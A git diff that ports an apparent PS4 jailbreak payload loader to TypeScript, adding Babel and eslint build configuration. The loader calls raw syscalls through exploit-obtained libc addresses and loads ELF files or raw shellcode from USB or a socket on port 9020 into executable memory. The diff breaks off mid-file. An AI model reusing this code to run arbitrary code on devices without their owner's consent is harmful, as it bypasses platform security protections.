feat: ts port... again
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
{
|
||||
"presets": [
|
||||
[
|
||||
"@babel/preset-env",
|
||||
{
|
||||
"targets": {
|
||||
"safari": "10",
|
||||
"esmodules": false
|
||||
},
|
||||
"useBuiltIns": "usage",
|
||||
"corejs": "3.6.5",
|
||||
"modules": false
|
||||
}
|
||||
],
|
||||
["@babel/preset-typescript"]
|
||||
],
|
||||
"plugins": [
|
||||
["./module-remover/index.js"]
|
||||
],
|
||||
"ignore": ["./src/download0/vid"]
|
||||
}
|
||||
@@ -37,6 +37,7 @@ export default defineConfig([
|
||||
'no-fallthrough': 'off',
|
||||
'no-new-native-nonconstructor': 'off', // we use our own BigInt
|
||||
'no-extend-native': 'off', // we extend native for better usage
|
||||
'no-new': 'off',
|
||||
|
||||
// TS duplicates
|
||||
'@typescript-eslint/no-unused-vars': 'off',
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
export default function () {
|
||||
return {
|
||||
name: 'module-remover',
|
||||
|
||||
visitor: {
|
||||
ImportDeclaration (
|
||||
path
|
||||
) {
|
||||
path.remove()
|
||||
},
|
||||
ExportNamedDeclaration (
|
||||
path
|
||||
) {
|
||||
const { declaration, specifiers } = path.node
|
||||
if (declaration) {
|
||||
path.replaceWith(declaration)
|
||||
} else if (specifiers.length > 0) {
|
||||
path.remove()
|
||||
}
|
||||
},
|
||||
ExportDefaultDeclaration (
|
||||
path
|
||||
) {
|
||||
const { declaration } = path.node
|
||||
path.replaceWith(declaration)
|
||||
}
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -3,10 +3,19 @@
|
||||
"module": "index.ts",
|
||||
"type": "module",
|
||||
"private": true,
|
||||
"scripts": {
|
||||
"build": "babel --extensions \".ts\" src --out-dir dist",
|
||||
"lint": "eslint . --ext .ts,.js",
|
||||
"lint:fix": "eslint . --ext .ts,.js --fix"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"typescript": "^5"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@babel/cli": "^7.28.3",
|
||||
"@babel/core": "^7.28.5",
|
||||
"@babel/preset-env": "^7.28.5",
|
||||
"@babel/preset-typescript": "^7.28.5",
|
||||
"@eslint/js": "^9.39.2",
|
||||
"eslint": "^9.39.2",
|
||||
"globals": "^16.5.0",
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
import { fn, BigInt, mem, utils } from 'download0/types'
|
||||
import { libc_addr } from 'download0/userland'
|
||||
import { show_success } from 'download0/loader'
|
||||
|
||||
// bin_loader.js - ELF/binary loader for PS4 after vue-after-free jailbreak
|
||||
// Ported from netflix N Hack for ps4
|
||||
//
|
||||
@@ -5,7 +9,7 @@
|
||||
// After lapse completes, call: binloader_init()
|
||||
|
||||
// Define binloader_init function
|
||||
binloader_init = function () {
|
||||
export function binloader_init () {
|
||||
log('binloader_init(): Initializing binloader...')
|
||||
|
||||
// Check dependencies
|
||||
@@ -17,69 +21,55 @@ binloader_init = function () {
|
||||
log('binloader_init(): Dependencies OK, initializing...')
|
||||
|
||||
// thrd_create and thrd_join offsets in libc
|
||||
var THRD_CREATE_OFFSET = 0x555A0
|
||||
var THRD_JOIN_OFFSET = 0x55410
|
||||
const THRD_CREATE_OFFSET = 0x555A0
|
||||
const THRD_JOIN_OFFSET = 0x55410
|
||||
|
||||
// Register thrd_create and thrd_join from libc
|
||||
var thrd_create_addr = libc_addr.add(new BigInt(0, THRD_CREATE_OFFSET))
|
||||
var thrd_join_addr = libc_addr.add(new BigInt(0, THRD_JOIN_OFFSET))
|
||||
const thrd_create_addr = libc_addr.add(new BigInt(0, THRD_CREATE_OFFSET))
|
||||
const thrd_join_addr = libc_addr.add(new BigInt(0, THRD_JOIN_OFFSET))
|
||||
|
||||
fn.register(thrd_create_addr, 'thrd_create', 'bigint')
|
||||
fn.register(thrd_join_addr, 'thrd_join', 'bigint')
|
||||
fn.register(thrd_create_addr, 'thrd_create', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
fn.register(thrd_join_addr, 'thrd_join', ['bigint', 'bigint'], 'bigint')
|
||||
|
||||
var thrd_create = fn.thrd_create
|
||||
var thrd_join = fn.thrd_join
|
||||
const thrd_create = fn.thrd_create
|
||||
const thrd_join = fn.thrd_join
|
||||
|
||||
log('thrd_create @ ' + thrd_create_addr.toString())
|
||||
log('thrd_join @ ' + thrd_join_addr.toString())
|
||||
|
||||
// Register syscalls needed for binloader
|
||||
var stat_sys, open_sys, read_sys, write_sys, close_sys, mmap_sys, bind_sys, listen_sys, accept_sys
|
||||
fn.register(0xBC, 'stat_sys', ['bigint', 'bigint'], 'bigint')
|
||||
const stat_sys = fn.stat_sys
|
||||
|
||||
if (typeof fn.stat_sys === 'undefined') {
|
||||
fn.register(0xBC, 'stat_sys', 'bigint')
|
||||
}
|
||||
stat_sys = fn.stat_sys
|
||||
fn.register(0x05, 'open_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
const open_sys = fn.open_sys
|
||||
|
||||
if (typeof fn.open_sys === 'undefined') {
|
||||
fn.register(0x05, 'open_sys', 'bigint')
|
||||
}
|
||||
open_sys = fn.open_sys
|
||||
fn.register(0x03, 'read_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
const read_sys = fn.read_sys
|
||||
|
||||
if (typeof fn.read_sys === 'undefined') {
|
||||
fn.register(0x03, 'read_sys', 'bigint')
|
||||
}
|
||||
read_sys = fn.read_sys
|
||||
fn.register(0x04, 'write_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
const write_sys = fn.write_sys
|
||||
|
||||
if (typeof fn.write_sys === 'undefined') {
|
||||
fn.register(0x04, 'write_sys', 'bigint')
|
||||
}
|
||||
write_sys = fn.write_sys
|
||||
fn.register(0x06, 'close_sys', ['number'], 'bigint')
|
||||
const close_sys = fn.close_sys
|
||||
|
||||
if (typeof fn.close_sys === 'undefined') {
|
||||
fn.register(0x06, 'close_sys', 'bigint')
|
||||
}
|
||||
close_sys = fn.close_sys
|
||||
fn.register(0x1DD, 'mmap_sys', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
|
||||
const mmap_sys = fn.mmap_sys
|
||||
|
||||
if (typeof fn.mmap_sys === 'undefined') {
|
||||
fn.register(0x1DD, 'mmap_sys', 'bigint')
|
||||
}
|
||||
mmap_sys = fn.mmap_sys
|
||||
fn.register(0x68, 'bind_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
const bind_sys = fn.bind_sys
|
||||
|
||||
if (typeof fn.bind_sys === 'undefined') {
|
||||
fn.register(0x68, 'bind_sys', 'bigint')
|
||||
}
|
||||
bind_sys = fn.bind_sys
|
||||
fn.register(0x6A, 'listen_sys', ['bigint', 'bigint'], 'bigint')
|
||||
const listen_sys = fn.listen_sys
|
||||
|
||||
if (typeof fn.listen_sys === 'undefined') {
|
||||
fn.register(0x6A, 'listen_sys', 'bigint')
|
||||
}
|
||||
listen_sys = fn.listen_sys
|
||||
fn.register(0x1E, 'accept_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||
const accept_sys = fn.accept_sys
|
||||
|
||||
if (typeof fn.accept_sys === 'undefined') {
|
||||
fn.register(0x1E, 'accept_sys', 'bigint')
|
||||
}
|
||||
accept_sys = fn.accept_sys
|
||||
fn.register(0x61, 'socket', ['number', 'number', 'number'], 'bigint')
|
||||
const socket = fn.socket
|
||||
|
||||
fn.register(0x69, 'setsockopt', ['number', 'number', 'number', 'bigint', 'number'], 'bigint')
|
||||
const setsockopt = fn.setsockopt
|
||||
|
||||
// Constants
|
||||
const BIN_LOADER_PORT = 9020
|
||||
@@ -104,11 +94,11 @@ binloader_init = function () {
|
||||
const BL_SO_REUSEADDR = 4
|
||||
|
||||
// File open flags
|
||||
var BL_O_RDONLY = 0
|
||||
var BL_O_WRONLY = 1
|
||||
var BL_O_RDWR = 2
|
||||
var BL_O_CREAT = 0x200
|
||||
var BL_O_TRUNC = 0x400
|
||||
const BL_O_RDONLY = 0
|
||||
const BL_O_WRONLY = 1
|
||||
const BL_O_RDWR = 2
|
||||
const BL_O_CREAT = 0x200
|
||||
const BL_O_TRUNC = 0x400
|
||||
|
||||
// USB and data paths (check usb0-usb4 like BD-JB does)
|
||||
const USB_PAYLOAD_PATHS = [
|
||||
@@ -144,12 +134,12 @@ binloader_init = function () {
|
||||
const PT_LOAD = 1
|
||||
|
||||
// Helper: Round up to page boundary
|
||||
function bl_round_up (x, base) {
|
||||
function bl_round_up (x: number, base: number) {
|
||||
return Math.floor((x + base - 1) / base) * base
|
||||
}
|
||||
|
||||
// Helper: Check for syscall error
|
||||
function bl_is_error (val) {
|
||||
function bl_is_error (val: number | BigInt) {
|
||||
if (val instanceof BigInt) {
|
||||
return val.hi === 0xffffffff
|
||||
}
|
||||
@@ -157,9 +147,9 @@ binloader_init = function () {
|
||||
}
|
||||
|
||||
// Helper: Allocate string in memory and return address
|
||||
function bl_alloc_string (str) {
|
||||
var addr = mem.malloc(str.length + 1)
|
||||
for (var i = 0; i < str.length; i++) {
|
||||
function bl_alloc_string (str: string) {
|
||||
const addr = mem.malloc(str.length + 1)
|
||||
for (let i = 0; i < str.length; i++) {
|
||||
mem.view(addr).setUint8(i, str.charCodeAt(i))
|
||||
}
|
||||
mem.view(addr).setUint8(str.length, 0) // null terminator
|
||||
@@ -167,14 +157,14 @@ binloader_init = function () {
|
||||
}
|
||||
|
||||
// Helper: Check if file exists using stat() and return size, or -1 if not found
|
||||
function bl_file_exists (path) {
|
||||
function bl_file_exists (path: string) {
|
||||
log('Checking: ' + path)
|
||||
var path_addr = bl_alloc_string(path)
|
||||
var stat_buf = mem.malloc(0x78)
|
||||
const path_addr = bl_alloc_string(path)
|
||||
const stat_buf = mem.malloc(0x78)
|
||||
|
||||
// Call stat(path, &stat_buf) - catch errors (file not found)
|
||||
try {
|
||||
var ret = stat_sys(path_addr, stat_buf)
|
||||
const ret = stat_sys(path_addr, stat_buf)
|
||||
|
||||
if (bl_is_error(ret)) {
|
||||
log(' stat() failed - file not found')
|
||||
@@ -182,7 +172,7 @@ binloader_init = function () {
|
||||
}
|
||||
|
||||
// Check st_mode at offset 0x08 to see if it's a regular file
|
||||
var st_mode = mem.view(stat_buf).getUint16(0x08, true)
|
||||
const st_mode = mem.view(stat_buf).getUint16(0x08, true)
|
||||
|
||||
// Check S_ISREG (mode & 0xF000) == S_IFREG (0x8000)
|
||||
if ((st_mode & 0xF000) !== S_IFREG) {
|
||||
@@ -191,30 +181,30 @@ binloader_init = function () {
|
||||
}
|
||||
|
||||
// st_size is at offset 0x48 in struct stat (int64_t)
|
||||
var size = mem.view(stat_buf).getBigInt(0x48, true)
|
||||
var size_num = size.lo + (size.hi * 0x100000000)
|
||||
const size = mem.view(stat_buf).getBigInt(0x48, true)
|
||||
const size_num = size.lo + (size.hi * 0x100000000)
|
||||
log(' Found: ' + size_num + ' bytes')
|
||||
|
||||
return size_num
|
||||
} catch (e) {
|
||||
log(' ' + e.message)
|
||||
log(' ' + (e as Error).message)
|
||||
return -1
|
||||
}
|
||||
}
|
||||
|
||||
// Get file size using stat()
|
||||
function bl_get_file_size_stat (path) {
|
||||
var path_addr = bl_alloc_string(path)
|
||||
var stat_buf = mem.malloc(0x78)
|
||||
function bl_get_file_size_stat (path: string) {
|
||||
const path_addr = bl_alloc_string(path)
|
||||
const stat_buf = mem.malloc(0x78)
|
||||
|
||||
try {
|
||||
var ret = stat_sys(path_addr, stat_buf)
|
||||
const ret = stat_sys(path_addr, stat_buf)
|
||||
if (bl_is_error(ret)) {
|
||||
return -1
|
||||
}
|
||||
|
||||
// st_size is at offset 0x48
|
||||
var size = mem.view(stat_buf).getBigInt(0x48, true)
|
||||
const size = mem.view(stat_buf).getBigInt(0x48, true)
|
||||
return size.lo + (size.hi * 0x100000000)
|
||||
} catch (e) {
|
||||
return -1
|
||||
@@ -222,29 +212,29 @@ binloader_init = function () {
|
||||
}
|
||||
|
||||
// Read entire file into memory buffer
|
||||
function bl_read_file (path) {
|
||||
function bl_read_file (path: string) {
|
||||
// Use stat() to get file size
|
||||
var size = bl_get_file_size_stat(path)
|
||||
const size = bl_get_file_size_stat(path)
|
||||
if (size <= 0) {
|
||||
log(' stat failed or size=0')
|
||||
return null
|
||||
}
|
||||
|
||||
var path_addr = bl_alloc_string(path)
|
||||
var fd = open_sys(path_addr, new BigInt(0, BL_O_RDONLY), new BigInt(0, 0))
|
||||
const path_addr = bl_alloc_string(path)
|
||||
const fd = open_sys(path_addr, new BigInt(0, BL_O_RDONLY), new BigInt(0, 0))
|
||||
|
||||
if (bl_is_error(fd)) {
|
||||
log(' open failed')
|
||||
return null
|
||||
}
|
||||
|
||||
var fd_num = (fd instanceof BigInt) ? fd.lo : fd
|
||||
var buf = mem.malloc(size)
|
||||
var total_read = 0
|
||||
const fd_num = (fd instanceof BigInt) ? fd.lo : fd
|
||||
const buf = mem.malloc(size)
|
||||
let total_read = 0
|
||||
|
||||
while (total_read < size) {
|
||||
var chunk = size - total_read > READ_CHUNK ? READ_CHUNK : size - total_read
|
||||
var bytes_read = read_sys(
|
||||
const chunk = size - total_read > READ_CHUNK ? READ_CHUNK : size - total_read
|
||||
const bytes_read = read_sys(
|
||||
new BigInt(0, fd_num),
|
||||
buf.add(new BigInt(0, total_read)),
|
||||
new BigInt(0, chunk)
|
||||
@@ -267,13 +257,13 @@ binloader_init = function () {
|
||||
}
|
||||
|
||||
// Write buffer to file
|
||||
function bl_write_file (path, buf, size) {
|
||||
var path_addr = bl_alloc_string(path)
|
||||
var flags = BL_O_WRONLY | BL_O_CREAT | BL_O_TRUNC
|
||||
function bl_write_file (path: string, buf: BigInt, size: number) {
|
||||
const path_addr = bl_alloc_string(path)
|
||||
const flags = BL_O_WRONLY | BL_O_CREAT | BL_O_TRUNC
|
||||
log(' write_file: open(' + path + ', flags=0x' + flags.toString(16) + ')')
|
||||
|
||||
var fd = open_sys(path_addr, new BigInt(0, flags), new BigInt(0, 0o755))
|
||||
var fd_num = (fd instanceof BigInt) ? fd.lo : fd
|
||||
const fd = open_sys(path_addr, new BigInt(0, flags), new BigInt(0, 0o755))
|
||||
const fd_num = (fd instanceof BigInt) ? fd.lo : fd
|
||||
log(' write_file: fd=' + fd_num)
|
||||
|
||||
if (bl_is_error(fd)) {
|
||||
@@ -281,10 +271,10 @@ binloader_init = function () {
|
||||
return false
|
||||
}
|
||||
|
||||
var total_written = 0
|
||||
let total_written = 0
|
||||
while (total_written < size) {
|
||||
var chunk = size - total_written > READ_CHUNK ? READ_CHUNK : size - total_written
|
||||
var bytes_written = write_sys(
|
||||
const chunk = size - total_written > READ_CHUNK ? READ_CHUNK : size - total_written
|
||||
const bytes_written = write_sys(
|
||||
new BigInt(0, fd_num),
|
||||
buf.add(new BigInt(0, total_written)),
|
||||
new BigInt(0, chunk)
|
||||
@@ -304,10 +294,10 @@ binloader_init = function () {
|
||||
}
|
||||
|
||||
// Copy file from src to dst
|
||||
function bl_copy_file (src_path, dst_path) {
|
||||
function bl_copy_file (src_path: string, dst_path: string) {
|
||||
log('Copying ' + src_path + ' -> ' + dst_path)
|
||||
|
||||
var data = bl_read_file(src_path)
|
||||
const data = bl_read_file(src_path)
|
||||
if (data === null) {
|
||||
log('Failed to read source file')
|
||||
return false
|
||||
@@ -325,7 +315,7 @@ binloader_init = function () {
|
||||
}
|
||||
|
||||
// Read ELF header from buffer
|
||||
function bl_read_elf_header (buf_addr) {
|
||||
function bl_read_elf_header (buf_addr: BigInt) {
|
||||
return {
|
||||
magic: mem.view(buf_addr).getUint32(0, true),
|
||||
e_entry: mem.view(buf_addr).getBigInt(ELF_HEADER.E_ENTRY, true),
|
||||
@@ -336,8 +326,8 @@ binloader_init = function () {
|
||||
}
|
||||
|
||||
// Read program header from buffer
|
||||
function bl_read_program_header (buf_addr, offset) {
|
||||
var base = buf_addr.add(new BigInt(0, offset))
|
||||
function bl_read_program_header (buf_addr: BigInt, offset: number) {
|
||||
const base = buf_addr.add(new BigInt(0, offset))
|
||||
return {
|
||||
p_type: mem.view(base).getUint32(PROGRAM_HEADER.P_TYPE, true),
|
||||
p_flags: mem.view(base).getUint32(PROGRAM_HEADER.P_FLAGS, true),
|
||||
@@ -349,34 +339,34 @@ binloader_init = function () {
|
||||
}
|
||||
|
||||
// Load ELF segments into mmap'd memory
|
||||
function bl_load_elf_segments (buf_addr, base_addr) {
|
||||
var elf = bl_read_elf_header(buf_addr)
|
||||
function bl_load_elf_segments (buf_addr: BigInt, base_addr: BigInt) {
|
||||
const elf = bl_read_elf_header(buf_addr)
|
||||
|
||||
log('ELF: ' + elf.e_phnum + ' segments, entry @ ' + elf.e_entry.toString())
|
||||
|
||||
for (var i = 0; i < elf.e_phnum; i++) {
|
||||
var phdr_offset = (elf.e_phoff.lo + (elf.e_phoff.hi * 0x100000000)) + i * elf.e_phentsize
|
||||
var segment = bl_read_program_header(buf_addr, phdr_offset)
|
||||
for (let i = 0; i < elf.e_phnum; i++) {
|
||||
const phdr_offset = (elf.e_phoff.lo + (elf.e_phoff.hi * 0x100000000)) + i * elf.e_phentsize
|
||||
const segment = bl_read_program_header(buf_addr, phdr_offset)
|
||||
|
||||
if (segment.p_type === PT_LOAD && !segment.p_memsz.eq(0)) {
|
||||
// Use lower 24 bits of vaddr to get offset within region
|
||||
var seg_offset_num = segment.p_vaddr.lo & 0xffffff
|
||||
var seg_addr = base_addr.add(new BigInt(0, seg_offset_num))
|
||||
const seg_offset_num = segment.p_vaddr.lo & 0xffffff
|
||||
const seg_addr = base_addr.add(new BigInt(0, seg_offset_num))
|
||||
|
||||
// Copy segment data
|
||||
var filesz = segment.p_filesz.lo + (segment.p_filesz.hi * 0x100000000)
|
||||
var src_addr = buf_addr.add(segment.p_offset)
|
||||
const filesz = segment.p_filesz.lo + (segment.p_filesz.hi * 0x100000000)
|
||||
const src_addr = buf_addr.add(segment.p_offset)
|
||||
|
||||
// Copy using mem API
|
||||
for (var j = 0; j < filesz; j++) {
|
||||
var byte = mem.view(src_addr).getUint8(j)
|
||||
for (let j = 0; j < filesz; j++) {
|
||||
const byte = mem.view(src_addr).getUint8(j)
|
||||
mem.view(seg_addr).setUint8(j, byte)
|
||||
}
|
||||
|
||||
// Zero remaining memory (memsz - filesz)
|
||||
var memsz = segment.p_memsz.lo + (segment.p_memsz.hi * 0x100000000)
|
||||
const memsz = segment.p_memsz.lo + (segment.p_memsz.hi * 0x100000000)
|
||||
if (memsz > filesz) {
|
||||
for (var j = filesz; j < memsz; j++) {
|
||||
for (let j = filesz; j < memsz; j++) {
|
||||
mem.view(seg_addr).setUint8(j, 0)
|
||||
}
|
||||
}
|
||||
@@ -384,149 +374,160 @@ binloader_init = function () {
|
||||
}
|
||||
|
||||
// Return entry point address
|
||||
var entry_offset = elf.e_entry.lo & 0xffffff
|
||||
const entry_offset = elf.e_entry.lo & 0xffffff
|
||||
return base_addr.add(new BigInt(0, entry_offset))
|
||||
}
|
||||
|
||||
// BinLoader object
|
||||
var BinLoader = {
|
||||
const BinLoader: {
|
||||
data: BigInt | null,
|
||||
data_size: number,
|
||||
mmap_base: BigInt | null,
|
||||
mmap_size: number,
|
||||
entry_point: BigInt | null,
|
||||
skip_autoclose: boolean,
|
||||
init: (bin_data_addr: BigInt, bin_size: number) => void,
|
||||
run: () => void
|
||||
} = {
|
||||
data: null,
|
||||
data_size: 0,
|
||||
mmap_base: null,
|
||||
mmap_size: 0,
|
||||
entry_point: null,
|
||||
skip_autoclose: false,
|
||||
}
|
||||
init: function (bin_data_addr, bin_size) {
|
||||
this.data = bin_data_addr
|
||||
this.data_size = bin_size
|
||||
|
||||
BinLoader.init = function (bin_data_addr, bin_size) {
|
||||
BinLoader.data = bin_data_addr
|
||||
BinLoader.data_size = bin_size
|
||||
// Calculate mmap size (round up to page boundary)
|
||||
this.mmap_size = bl_round_up(bin_size, PAGE_SIZE)
|
||||
|
||||
// Calculate mmap size (round up to page boundary)
|
||||
BinLoader.mmap_size = bl_round_up(bin_size, PAGE_SIZE)
|
||||
// Allocate RWX memory using mmap
|
||||
const prot = new BigInt(0, BL_PROT_READ | BL_PROT_WRITE | BL_PROT_EXEC)
|
||||
const flags = new BigInt(0, BL_MAP_PRIVATE | BL_MAP_ANONYMOUS)
|
||||
|
||||
// Allocate RWX memory using mmap
|
||||
var prot = new BigInt(0, BL_PROT_READ | BL_PROT_WRITE | BL_PROT_EXEC)
|
||||
var flags = new BigInt(0, BL_MAP_PRIVATE | BL_MAP_ANONYMOUS)
|
||||
const ret = mmap_sys(
|
||||
new BigInt(0, 0),
|
||||
new BigInt(0, this.mmap_size),
|
||||
prot,
|
||||
flags,
|
||||
new BigInt(0xffffffff, 0xffffffff), // fd = -1
|
||||
new BigInt(0, 0)
|
||||
)
|
||||
|
||||
var ret = mmap_sys(
|
||||
new BigInt(0, 0),
|
||||
new BigInt(0, BinLoader.mmap_size),
|
||||
prot,
|
||||
flags,
|
||||
new BigInt(0xffffffff, 0xffffffff), // fd = -1
|
||||
new BigInt(0, 0)
|
||||
)
|
||||
|
||||
if (bl_is_error(ret)) {
|
||||
throw new Error('mmap failed: ' + ret.toString())
|
||||
}
|
||||
|
||||
BinLoader.mmap_base = ret
|
||||
log('mmap() allocated at: ' + BinLoader.mmap_base.toString())
|
||||
|
||||
// Check for ELF magic
|
||||
var magic = mem.view(bin_data_addr).getUint32(0, true)
|
||||
|
||||
if (magic === ELF_MAGIC) {
|
||||
log('Detected ELF binary, parsing headers...')
|
||||
BinLoader.entry_point = bl_load_elf_segments(bin_data_addr, BinLoader.mmap_base)
|
||||
} else {
|
||||
log('Non-ELF binary, treating as raw shellcode (' + bin_size + ' bytes)')
|
||||
// Copy raw binary
|
||||
for (var i = 0; i < bin_size; i++) {
|
||||
var byte = mem.view(bin_data_addr).getUint8(i)
|
||||
mem.view(BinLoader.mmap_base).setUint8(i, byte)
|
||||
if (bl_is_error(ret)) {
|
||||
throw new Error('mmap failed: ' + ret.toString())
|
||||
}
|
||||
BinLoader.entry_point = BinLoader.mmap_base
|
||||
}
|
||||
|
||||
log('Entry point: ' + BinLoader.entry_point.toString())
|
||||
}
|
||||
this.mmap_base = ret
|
||||
log('mmap() allocated at: ' + this.mmap_base.toString())
|
||||
|
||||
BinLoader.run = function () {
|
||||
log('Spawning payload thread using thrd_create...')
|
||||
// Check for ELF magic
|
||||
const magic = mem.view(bin_data_addr).getUint32(0, true)
|
||||
|
||||
// Allocate thread handle and result storage
|
||||
var thread_handle = mem.malloc(8) // thrd_t handle
|
||||
var thread_result = mem.malloc(4) // int result
|
||||
|
||||
// Initialize to 0
|
||||
mem.view(thread_handle).setBigInt(0, new BigInt(0, 0), true)
|
||||
mem.view(thread_result).setUint32(0, 0, true)
|
||||
|
||||
log('Entry point @ ' + BinLoader.entry_point.toString())
|
||||
|
||||
// Call thrd_create(thread_handle, entry_point, NULL)
|
||||
// int thrd_create(thrd_t *thr, thrd_start_t func, void *arg);
|
||||
log('Calling thrd_create...')
|
||||
var ret = thrd_create(
|
||||
thread_handle, // thrd_t *thr
|
||||
BinLoader.entry_point, // thrd_start_t func
|
||||
new BigInt(0, 0) // void *arg (NULL)
|
||||
)
|
||||
|
||||
// thrd_success = 0
|
||||
if (ret.eq(0)) {
|
||||
log('SUCCESS: Payload thread created!')
|
||||
var thr_id = mem.view(thread_handle).getBigInt(0, true)
|
||||
log('Thread handle: ' + thr_id.toString())
|
||||
// utils.notify("Payload loaded!\nThread spawned successfully");
|
||||
|
||||
// Check if autoclose is enabled
|
||||
if (typeof CONFIG !== 'undefined' && CONFIG.autoclose && !BinLoader.skip_autoclose) {
|
||||
log('CONFIG.autoclose enabled - terminating current process')
|
||||
|
||||
if (!fn.getpid) fn.register(0x14, 'getpid', 'bigint')
|
||||
if (!fn.kill) fn.register(0x25, 'kill', 'bigint')
|
||||
|
||||
var pid = fn.getpid()
|
||||
var pid_num = (pid instanceof BigInt) ? pid.lo : pid
|
||||
log('Current PID: ' + pid_num)
|
||||
log('Sending SIGKILL to PID ' + pid_num)
|
||||
|
||||
fn.kill(pid, new BigInt(0, 9))
|
||||
if (magic === ELF_MAGIC) {
|
||||
log('Detected ELF binary, parsing headers...')
|
||||
this.entry_point = bl_load_elf_segments(bin_data_addr, this.mmap_base)
|
||||
} else {
|
||||
log('Non-ELF binary, treating as raw shellcode (' + bin_size + ' bytes)')
|
||||
// Copy raw binary
|
||||
for (let i = 0; i < bin_size; i++) {
|
||||
const byte = mem.view(bin_data_addr).getUint8(i)
|
||||
mem.view(this.mmap_base).setUint8(i, byte)
|
||||
}
|
||||
this.entry_point = this.mmap_base
|
||||
}
|
||||
|
||||
log('Entry point: ' + this.entry_point.toString())
|
||||
},
|
||||
run: function () {
|
||||
if (this.entry_point === null) {
|
||||
throw new Error('BinLoader not initialized properly - no entry point')
|
||||
}
|
||||
|
||||
log('Spawning payload thread using thrd_create...')
|
||||
|
||||
// Allocate thread handle and result storage
|
||||
const thread_handle = mem.malloc(8) // thrd_t handle
|
||||
const thread_result = mem.malloc(4) // int result
|
||||
|
||||
// Initialize to 0
|
||||
mem.view(thread_handle).setBigInt(0, new BigInt(0, 0), true)
|
||||
mem.view(thread_result).setUint32(0, 0, true)
|
||||
|
||||
log('Entry point @ ' + this.entry_point.toString())
|
||||
|
||||
// Call thrd_create(thread_handle, entry_point, NULL)
|
||||
// int thrd_create(thrd_t *thr, thrd_start_t func, void *arg);
|
||||
log('Calling thrd_create...')
|
||||
const ret = thrd_create(
|
||||
thread_handle, // thrd_t *thr
|
||||
this.entry_point, // thrd_start_t func
|
||||
new BigInt(0, 0) // void *arg (NULL)
|
||||
)
|
||||
|
||||
// thrd_success = 0
|
||||
if (ret.eq(0)) {
|
||||
log('SUCCESS: Payload thread created!')
|
||||
const thr_id = mem.view(thread_handle).getBigInt(0, true)
|
||||
log('Thread handle: ' + thr_id.toString())
|
||||
// utils.notify("Payload loaded!\nThread spawned successfully");
|
||||
|
||||
// Check if autoclose is enabled
|
||||
if (typeof CONFIG !== 'undefined' && CONFIG.autoclose && !BinLoader.skip_autoclose) {
|
||||
log('CONFIG.autoclose enabled - terminating current process')
|
||||
|
||||
fn.register(0x14, 'getpid', [], 'bigint')
|
||||
fn.register(0x25, 'kill', ['bigint', 'bigint'], 'bigint')
|
||||
|
||||
const pid = fn.getpid()
|
||||
const pid_num = (pid instanceof BigInt) ? pid.lo : pid
|
||||
log('Current PID: ' + pid_num)
|
||||
log('Sending SIGKILL to PID ' + pid_num)
|
||||
|
||||
fn.kill(pid, new BigInt(0, 9))
|
||||
} else {
|
||||
// Call thrd_join to wait for thread completion
|
||||
// int thrd_join(thrd_t thr, int *res);
|
||||
log('Waiting for thread to complete (thrd_join)...')
|
||||
var join_ret = thrd_join(
|
||||
thr_id, // thrd_t thr
|
||||
thread_result // int *res
|
||||
)
|
||||
log('Waiting for thread to complete (thrd_join)...')
|
||||
const join_ret = thrd_join(
|
||||
thr_id, // thrd_t thr
|
||||
thread_result // int *res
|
||||
)
|
||||
|
||||
if (join_ret.eq(0)) {
|
||||
var result_val = mem.view(thread_result).getUint32(0, true)
|
||||
log('Thread completed successfully with result: ' + result_val)
|
||||
} else {
|
||||
log('WARNING: thrd_join returned: ' + join_ret.toString())
|
||||
if (join_ret.eq(0)) {
|
||||
const result_val = mem.view(thread_result).getUint32(0, true)
|
||||
log('Thread completed successfully with result: ' + result_val)
|
||||
} else {
|
||||
log('WARNING: thrd_join returned: ' + join_ret.toString())
|
||||
}
|
||||
|
||||
log('Binloader complete - thread has finished')
|
||||
}
|
||||
|
||||
log('Binloader complete - thread has finished')
|
||||
} else {
|
||||
log('ERROR: thrd_create failed with return value: ' + ret.toString())
|
||||
throw new Error('Failed to spawn payload thread')
|
||||
}
|
||||
} else {
|
||||
log('ERROR: thrd_create failed with return value: ' + ret.toString())
|
||||
throw new Error('Failed to spawn payload thread')
|
||||
}
|
||||
}
|
||||
|
||||
// Create listening socket
|
||||
function bl_create_listen_socket (port) {
|
||||
var sd = socket(BL_AF_INET, BL_SOCK_STREAM, 0)
|
||||
var sd_num = (sd instanceof BigInt) ? sd.lo : sd
|
||||
function bl_create_listen_socket (port: number) {
|
||||
const sd = socket(BL_AF_INET, BL_SOCK_STREAM, 0)
|
||||
const sd_num = (sd instanceof BigInt) ? sd.lo : sd
|
||||
|
||||
if (bl_is_error(sd)) {
|
||||
throw new Error('socket() failed')
|
||||
}
|
||||
|
||||
// Set SO_REUSEADDR
|
||||
var enable = mem.malloc(4)
|
||||
const enable = mem.malloc(4)
|
||||
mem.view(enable).setUint32(0, 1, true)
|
||||
setsockopt(sd_num, BL_SOL_SOCKET, BL_SO_REUSEADDR, enable, 4)
|
||||
|
||||
// Build sockaddr_in
|
||||
var sockaddr = mem.malloc(16)
|
||||
for (var j = 0; j < 16; j++) {
|
||||
const sockaddr = mem.malloc(16)
|
||||
for (let j = 0; j < 16; j++) {
|
||||
mem.view(sockaddr).setUint8(j, 0)
|
||||
}
|
||||
mem.view(sockaddr).setUint8(1, 2) // AF_INET
|
||||
@@ -534,7 +535,7 @@ binloader_init = function () {
|
||||
mem.view(sockaddr).setUint8(3, port & 0xff) // port low byte
|
||||
mem.view(sockaddr).setUint32(4, 0, true) // INADDR_ANY
|
||||
|
||||
var ret = bind_sys(new BigInt(0, sd_num), sockaddr, new BigInt(0, 16))
|
||||
let ret = bind_sys(new BigInt(0, sd_num), sockaddr, new BigInt(0, 16))
|
||||
if (bl_is_error(ret)) {
|
||||
close_sys(sd_num)
|
||||
throw new Error('bind() failed')
|
||||
@@ -550,15 +551,15 @@ binloader_init = function () {
|
||||
}
|
||||
|
||||
